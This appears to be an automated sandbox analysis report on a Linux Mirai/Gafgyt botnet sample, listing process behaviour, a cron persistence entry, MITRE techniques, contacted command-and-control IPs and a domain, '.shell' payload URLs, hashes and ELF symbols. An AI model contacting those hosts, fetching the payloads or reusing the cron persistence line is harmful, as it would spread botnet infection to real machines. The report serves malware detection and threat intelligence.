        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/26/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/27/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/28/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/6258/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/29/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/6257/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/491/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/250/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/130/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/251/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/252/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/132/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/253/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/254/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/255/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/256/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1599/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/257/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1477/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/379/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/258/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1476/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/259/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1475/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/936/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/4503/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/30/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/2208/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/35/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6258)File opened: /proc/1809/cmdlineJump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6253)Shell command executed: sh -c "crontab -l"Jump to behavior
        Source: /tmp/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf (PID: 6255)Shell command executed: sh -c "crontab -"Jump to behavior
        Source: submitted sampleStderr: no crontab for root: exit code = 0

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf, type: SAMPLE

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts1
        Command and Scripting Interpreter        		1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		1
        Masquerading        		1
        OS Credential Dumping        		1
        File and Directory Discovery        		Remote ServicesData from Local System1
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Scheduled Task/Job        		1
        Scripting        		Boot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive3
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
        Ingress Tool Transfer        		Traffic DuplicationData Destruction

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1547943 Sample: wsaySOikSR3afBEBBbLelehAkQc... Startdate: 03/11/2024 Architecture: LINUX Score: 96 31 87.120.84.230, 40898, 443, 52542 SHARCOM-ASBG Bulgaria 2->31 33 109.202.202.202, 80 INIT7CH Switzerland 2->33 35 3 other IPs or domains 2->35 37 Malicious sample detected (through community Yara rule) 2->37 39 Multi AV Scanner detection for submitted file 2->39 41 Yara detected Mirai 2->41 43 2 other signatures 2->43 9 wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf 2->9         started        signatures3 process4 process5 11 wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf 9->11         started        13 wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf 9->13         started        process6 15 wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf sh 11->15         started        17 wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf sh 11->17         started        19 wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf 13->19         started        21 wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf 13->21         started        process7 23 sh crontab 15->23         started        27 sh crontab 17->27         started        file8 29 /var/spool/cron/crontabs/tmp.5t9lMg, ASCII 23->29 dropped 45 Sample tries to persist itself using cron 23->45 47 Executes the "crontab" command typically for achieving persistence 23->47 signatures9

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf53%ReversingLabsLinux.Backdoor.Gafgyt
        wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf100%Joe Sandbox ML

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe

        Domains and IPs

        Download Network PCAP: filtered – full

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        conn.masjesu.zip
        		216.126.231.240
        		truefalse
          		unknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://87.120.84.230/.shellfalse
            		unknown
            http://216.126.231.240/.shellfalse
              		unknown
              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elffalse
              • URL Reputation: safe
              		unknown
              http://purenetworks.com/HNAP1/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elffalse
                		unknown
                http://schemas.xmlsoap.org/soap/envelope/wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elffalse
                • URL Reputation: safe
                		unknown

                World Map of Contacted IPs

                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs

                Public IPs

                IPDomainCountryFlagASNASN NameMalicious
                216.126.231.240
                		conn.masjesu.zipUnited States
                		20150ANYNODEUSfalse
                87.120.84.230
                		unknownBulgaria
                		51189SHARCOM-ASBGfalse
                109.202.202.202
                		unknownSwitzerland
                		13030INIT7CHfalse
                91.189.91.43
                		unknownUnited Kingdom
                		41231CANONICAL-ASGBfalse
                91.189.91.42
                		unknownUnited Kingdom
                		41231CANONICAL-ASGBfalse

                Joe Sandbox View / Context

                IPs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                216.126.231.240Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                k86m.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                686i.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                lespim.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240/.shell
                87.120.84.230m1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                k86m.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                686i.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                spim.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230/.shell
                109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
                • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb

                Domains

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                conn.masjesu.zipk1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                k86m.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                686i.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                spim.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                lespim.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                CANONICAL-ASGBCP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 91.189.91.42
                i.elfGet hashmaliciousUnknownBrowse
                • 91.189.91.42
                .i.elfGet hashmaliciousUnknownBrowse
                • 91.189.91.42
                sshd.elfGet hashmaliciousUnknownBrowse
                • 91.189.91.42
                .i.elfGet hashmaliciousUnknownBrowse
                • 91.189.91.42
                k86m.elfGet hashmaliciousMiraiBrowse
                • 91.189.91.42
                spim.elfGet hashmaliciousMiraiBrowse
                • 185.125.190.26
                lespim.elfGet hashmaliciousMiraiBrowse
                • 185.125.190.26
                spc.elfGet hashmaliciousUnknownBrowse
                • 91.189.91.42
                x86.elfGet hashmaliciousUnknownBrowse
                • 91.189.91.42
                SHARCOM-ASBGm1TuocfCMhon01ZDYjxrTEWsmYdVD8FZ4k.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                k86m.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                686i.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                spim.elfGet hashmaliciousMiraiBrowse
                • 87.120.84.230
                New Order.docx.docGet hashmaliciousUnknownBrowse
                • 87.120.84.38
                New Order.docx.docGet hashmaliciousUnknownBrowse
                • 87.120.84.38
                SWIFT COPY 2.docGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                • 87.120.84.39
                ANYNODEUSDqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                k86m.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                686i.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                lespim.elfGet hashmaliciousMiraiBrowse
                • 216.126.231.240
                na.elfGet hashmaliciousUnknownBrowse
                • 158.51.124.230
                na.elfGet hashmaliciousUnknownBrowse
                • 158.51.124.230
                https://pbswarehousing-my.sharepoint.com/:b:/p/jacqui/Ea1Bg8nSnaNGjI5TM74lGF0BPmFkVJiWz3i2NxzfEfmbrQ?e=1cj0D0Get hashmaliciousHTMLPhisherBrowse
                • 45.59.112.111
                INIT7CHCP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
                • 109.202.202.202
                i.elfGet hashmaliciousUnknownBrowse
                • 109.202.202.202
                .i.elfGet hashmaliciousUnknownBrowse
                • 109.202.202.202
                Payload 94.75.225.exeGet hashmaliciousUnknownBrowse
                • 185.183.194.90
                sshd.elfGet hashmaliciousUnknownBrowse
                • 109.202.202.202
                .i.elfGet hashmaliciousUnknownBrowse
                • 109.202.202.202
                k86m.elfGet hashmaliciousMiraiBrowse
                • 109.202.202.202
                spc.elfGet hashmaliciousUnknownBrowse
                • 109.202.202.202
                x86.elfGet hashmaliciousUnknownBrowse
                • 109.202.202.202
                main_arm5.elfGet hashmaliciousMiraiBrowse
                • 109.202.202.202

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                Process:/usr/bin/crontab
                File Type:ASCII text
                Category:dropped
                Size (bytes):210
                Entropy (8bit):5.112945596913401
                Encrypted:false
                SSDEEP:6:SUrpqoqQjEOP1KmREJOBFQ33gtUZHGMQ5UYLtCFt3eQTbHvn:8QjHig833zeHLUeQTbHv
                MD5:6C388F6BA0221AD8A73EE41CC6260F3B
                SHA1:4E58F2BD1BF1DEED161961A5EC4B838817DDAFE8
                SHA-256:23D5926CE1EEF34250A34213D8D4EC314711996139F5D1BB7A0334AEF605ACFB
                SHA-512:65A289ABE1B415D1D2A607185A5265CE5CC575CA60AFE49C1D550D0B9ABF676A3D1B4209957CB368134312385C0D4E2EB1C5F5D26D0DD1C8A22B42CEC04D849F
                Malicious:true
                Reputation:low
                Preview:# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Sun Nov 3 06:51:56 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).*/15 * * * * /usr/lib/ld-unix.so.2.

                Static File Info

                General

                File type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
                Entropy (8bit):6.060554307515475
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:wsaySOikSR3afBEBBbLelehAkQc8MFUcQx.elf
                File size:114'877 bytes
                MD5:05d7857dcead18bbd86d2935f591873c
                SHA1:34d18f41ef35f93d5364ce3e24d74730a4e91985
                SHA256:2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                SHA512:d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
                SSDEEP:3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
                TLSH:95B35D1798A1D5EFC0879BF816EF9124D533BC3E1B3673127395BCEA2B286C89D18215
                File Content Preview:.ELF..............>.......@.....@........K..........@.8...@.......................@.......@......9.......9.......................9.......9Q......9Q.....p.......85..............Q.td....................................................H...._........H........

                Static ELF Info

                ELF header

                Class:ELF64
                Data:2's complement, little endian
                Version:1 (current)
                Machine:Advanced Micro Devices X86-64
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:UNIX - System V
                ABI Version:0
                Entry Point Address:0x400194
                Flags:0x0
                ELF Header Size:64
                Program Header Offset:64
                Program Header Size:56
                Number of Program Headers:3
                Section Header Offset:84928
                Section Header Size:64
                Number of Section Headers:15
                Header String Table Index:12

                Sections

                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .initPROGBITS0x4000e80xe80x130x00x6AX001
                .textPROGBITS0x4001000x1000xff280x00x6AX0016
                .finiPROGBITS0x4100280x100280xe0x00x6AX001
                .rodataPROGBITS0x4100400x100400x39510x00x2A0032
                .eh_framePROGBITS0x4139940x139940x40x00x2A004
                .ctorsPROGBITS0x5139980x139980x100x00x3WA008
                .dtorsPROGBITS0x5139a80x139a80x100x00x3WA008
                .jcrPROGBITS0x5139b80x139b80x80x00x3WA008
                .dataPROGBITS0x5139c00x139c00x5480x00x3WA0032
                .bssNOBITS0x513f200x13f080x2fb00x00x3WA0032
                .commentPROGBITS0x00x13f080xc4e0x00x0001
                .shstrtabSTRTAB0x00x14b560x660x00x0001
                .symtabSYMTAB0x00x14f800x4ae80x180x0142748
                .strtabSTRTAB0x00x19a680x26550x00x0001

                Program Segments

                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                LOAD0x00x4000000x4000000x139980x139986.42630x5R E0x100000.init .text .fini .rodata .eh_frame
                LOAD0x139980x5139980x5139980x5700x35382.06490x6RW 0x100000.ctors .dtors .jcr .data .bss
                GNU_STACK0x00x00x00x00x00.00000x6RW 0x8

                Symbols

                NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
                .symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                .symtab0x4000e80SECTION<unknown>DEFAULT1
                .symtab0x4001000SECTION<unknown>DEFAULT2
                .symtab0x4100280SECTION<unknown>DEFAULT3
                .symtab0x4100400SECTION<unknown>DEFAULT4
                .symtab0x4139940SECTION<unknown>DEFAULT5
                .symtab0x5139980SECTION<unknown>DEFAULT6
                .symtab0x5139a80SECTION<unknown>DEFAULT7
                .symtab0x5139b80SECTION<unknown>DEFAULT8
                .symtab0x5139c00SECTION<unknown>DEFAULT9
                .symtab0x513f200SECTION<unknown>DEFAULT10
                .symtab0x00SECTION<unknown>DEFAULT11
                .symtab0x00SECTION<unknown>DEFAULT12
                .symtab0x00SECTION<unknown>DEFAULT13
                .symtab0x00SECTION<unknown>DEFAULT14
                ATTACKRUNNING.symtab0x513a904OBJECT<unknown>DEFAULT9
                C.71.4081.symtab0x411e00508OBJECT<unknown>DEFAULT4
                Decrypt.symtab0x400818146FUNC<unknown>DEFAULT2
                GPON1_Range.symtab0x5139e020OBJECT<unknown>DEFAULT9
                GPON2_Range.symtab0x513a00112OBJECT<unknown>DEFAULT9
                LastAttackTime.symtab0x5165c88OBJECT<unknown>DEFAULT10
                Methodinit.symtab0x40690f1745FUNC<unknown>DEFAULT2
                PINGLEN.symtab0x513a8016OBJECT<unknown>DEFAULT9
                _Jv_RegisterClasses.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                _READ.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _WRITE.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __CTOR_END__.symtab0x5139a00OBJECT<unknown>DEFAULT6
                __CTOR_LIST__.symtab0x5139980OBJECT<unknown>DEFAULT6
                __C_ctype_b.symtab0x513eb08OBJECT<unknown>DEFAULT9
                __C_ctype_b.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __C_ctype_b_data.symtab0x4134e0768OBJECT<unknown>DEFAULT4
                __C_ctype_tolower.symtab0x513a988OBJECT<unknown>DEFAULT9
                __C_ctype_tolower.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __C_ctype_tolower_data.symtab0x412020768OBJECT<unknown>DEFAULT4
                __DTOR_END__.symtab0x5139b00OBJECT<unknown>DEFAULT7
                __DTOR_LIST__.symtab0x5139a80OBJECT<unknown>DEFAULT7
                __EH_FRAME_BEGIN__.symtab0x4139940OBJECT<unknown>DEFAULT5
                __FRAME_END__.symtab0x4139940OBJECT<unknown>DEFAULT5
                __GI___C_ctype_b.symtab0x513eb08OBJECT<unknown>HIDDEN9
                __GI___C_ctype_b_data.symtab0x4134e0768OBJECT<unknown>HIDDEN4
                __GI___C_ctype_tolower.symtab0x513a988OBJECT<unknown>HIDDEN9
                __GI___C_ctype_tolower_data.symtab0x412020768OBJECT<unknown>HIDDEN4
                __GI___ctype_b.symtab0x513eb88OBJECT<unknown>HIDDEN9
                __GI___ctype_tolower.symtab0x513aa08OBJECT<unknown>HIDDEN9
                __GI___errno_location.symtab0x407df86FUNC<unknown>HIDDEN2
                __GI___fgetc_unlocked.symtab0x40e25c222FUNC<unknown>HIDDEN2
                __GI___glibc_strerror_r.symtab0x40a4b414FUNC<unknown>HIDDEN2
                __GI___h_errno_location.symtab0x40d6ec6FUNC<unknown>HIDDEN2
                __GI___libc_fcntl.symtab0x40cff4100FUNC<unknown>HIDDEN2
                __GI___libc_lseek.symtab0x40d3c845FUNC<unknown>HIDDEN2
                __GI___libc_open.symtab0x40d448106FUNC<unknown>HIDDEN2
                __GI___uClibc_fini.symtab0x40cc0070FUNC<unknown>HIDDEN2
                __GI___uClibc_init.symtab0x40cc7f67FUNC<unknown>HIDDEN2
                __GI___xpg_strerror_r.symtab0x40a4c4194FUNC<unknown>HIDDEN2
                __GI__exit.symtab0x40799c42FUNC<unknown>HIDDEN2
                __GI_abort.symtab0x40c0e0276FUNC<unknown>HIDDEN2
                __GI_atoi.symtab0x40c5c418FUNC<unknown>HIDDEN2
                __GI_bind.symtab0x40b0a443FUNC<unknown>HIDDEN2
                __GI_brk.symtab0x40f2b843FUNC<unknown>HIDDEN2
                __GI_chdir.symtab0x4079f438FUNC<unknown>HIDDEN2
                __GI_chmod.symtab0x407a1c40FUNC<unknown>HIDDEN2
                __GI_clock_getres.symtab0x40d05841FUNC<unknown>HIDDEN2
                __GI_close.symtab0x407a4441FUNC<unknown>HIDDEN2
                __GI_closedir.symtab0x407c00116FUNC<unknown>HIDDEN2
                __GI_connect.symtab0x40b0d043FUNC<unknown>HIDDEN2
                __GI_dup2.symtab0x40d08444FUNC<unknown>HIDDEN2
                __GI_errno.symtab0x5162bc4OBJECT<unknown>HIDDEN10
                __GI_execl.symtab0x40c7ac287FUNC<unknown>HIDDEN2
                __GI_execve.symtab0x40d0b038FUNC<unknown>HIDDEN2
                __GI_exit.symtab0x40c75092FUNC<unknown>HIDDEN2
                __GI_fclose.symtab0x407e64259FUNC<unknown>HIDDEN2
                __GI_fcntl.symtab0x40cff4100FUNC<unknown>HIDDEN2
                __GI_fcntl64.symtab0x40cff4100FUNC<unknown>HIDDEN2
                __GI_fdopen.symtab0x40d7d454FUNC<unknown>HIDDEN2
                __GI_fflush_unlocked.symtab0x409874329FUNC<unknown>HIDDEN2
                __GI_fgetc_unlocked.symtab0x40e25c222FUNC<unknown>HIDDEN2
                __GI_fgets.symtab0x409650109FUNC<unknown>HIDDEN2
                __GI_fgets_unlocked.symtab0x4099c0116FUNC<unknown>HIDDEN2
                __GI_fopen.symtab0x407f6810FUNC<unknown>HIDDEN2
                __GI_fork.symtab0x407a7038FUNC<unknown>HIDDEN2
                __GI_fprintf.symtab0x407fa4142FUNC<unknown>HIDDEN2
                __GI_fputs.symtab0x4096c097FUNC<unknown>HIDDEN2
                __GI_fputs_unlocked.symtab0x409a3456FUNC<unknown>HIDDEN2
                __GI_fread.symtab0x409724119FUNC<unknown>HIDDEN2
                __GI_fread_unlocked.symtab0x409a6c306FUNC<unknown>HIDDEN2
                __GI_fseek.symtab0x40f3805FUNC<unknown>HIDDEN2
                __GI_fseeko64.symtab0x40f388218FUNC<unknown>HIDDEN2
                __GI_fstat.symtab0x40d0d882FUNC<unknown>HIDDEN2
                __GI_fstat64.symtab0x40d0d882FUNC<unknown>HIDDEN2
                __GI_fwrite_unlocked.symtab0x409ba0134FUNC<unknown>HIDDEN2
                __GI_getc_unlocked.symtab0x40e25c222FUNC<unknown>HIDDEN2
                __GI_getdtablesize.symtab0x40d25835FUNC<unknown>HIDDEN2
                __GI_getegid.symtab0x40d27c38FUNC<unknown>HIDDEN2
                __GI_geteuid.symtab0x40d2a438FUNC<unknown>HIDDEN2
                __GI_getgid.symtab0x40d2cc38FUNC<unknown>HIDDEN2
                __GI_gethostbyname.symtab0x40ace853FUNC<unknown>HIDDEN2
                __GI_gethostbyname_r.symtab0x40ad20897FUNC<unknown>HIDDEN2
                __GI_getpagesize.symtab0x40d2f419FUNC<unknown>HIDDEN2
                __GI_getpid.symtab0x407a9838FUNC<unknown>HIDDEN2
                __GI_getrlimit.symtab0x40d30840FUNC<unknown>HIDDEN2
                __GI_getsockname.symtab0x40b0fc41FUNC<unknown>HIDDEN2
                __GI_gettimeofday.symtab0x407ac038FUNC<unknown>HIDDEN2
                __GI_getuid.symtab0x40d33038FUNC<unknown>HIDDEN2
                __GI_h_errno.symtab0x5162c04OBJECT<unknown>HIDDEN10
                __GI_inet_addr.symtab0x40accc28FUNC<unknown>HIDDEN2
                __GI_inet_aton.symtab0x40abe8137FUNC<unknown>HIDDEN2
                __GI_inet_ntoa.symtab0x40acc110FUNC<unknown>HIDDEN2
                __GI_inet_ntoa_r.symtab0x40ac7477FUNC<unknown>HIDDEN2
                __GI_inet_ntop.symtab0x40a9d8527FUNC<unknown>HIDDEN2
                __GI_inet_pton.symtab0x40a6d3493FUNC<unknown>HIDDEN2
                __GI_initstate_r.symtab0x40c50b185FUNC<unknown>HIDDEN2
                __GI_ioctl.symtab0x40d358104FUNC<unknown>HIDDEN2
                __GI_isatty.symtab0x40a5a425FUNC<unknown>HIDDEN2
                __GI_kill.symtab0x407ae844FUNC<unknown>HIDDEN2
                __GI_lseek.symtab0x40d3c845FUNC<unknown>HIDDEN2
                __GI_lseek64.symtab0x40d3c05FUNC<unknown>HIDDEN2
                __GI_memchr.symtab0x40e39c240FUNC<unknown>HIDDEN2
                __GI_memcpy.symtab0x409c30102FUNC<unknown>HIDDEN2
                __GI_memmove.symtab0x40e48c734FUNC<unknown>HIDDEN2
                __GI_mempcpy.symtab0x40e34090FUNC<unknown>HIDDEN2
                __GI_memrchr.symtab0x40e76c237FUNC<unknown>HIDDEN2
                __GI_memset.symtab0x409ca0210FUNC<unknown>HIDDEN2
                __GI_mmap.symtab0x40cfac48FUNC<unknown>HIDDEN2
                __GI_munmap.symtab0x40d3f838FUNC<unknown>HIDDEN2
                __GI_nanosleep.symtab0x40d42038FUNC<unknown>HIDDEN2
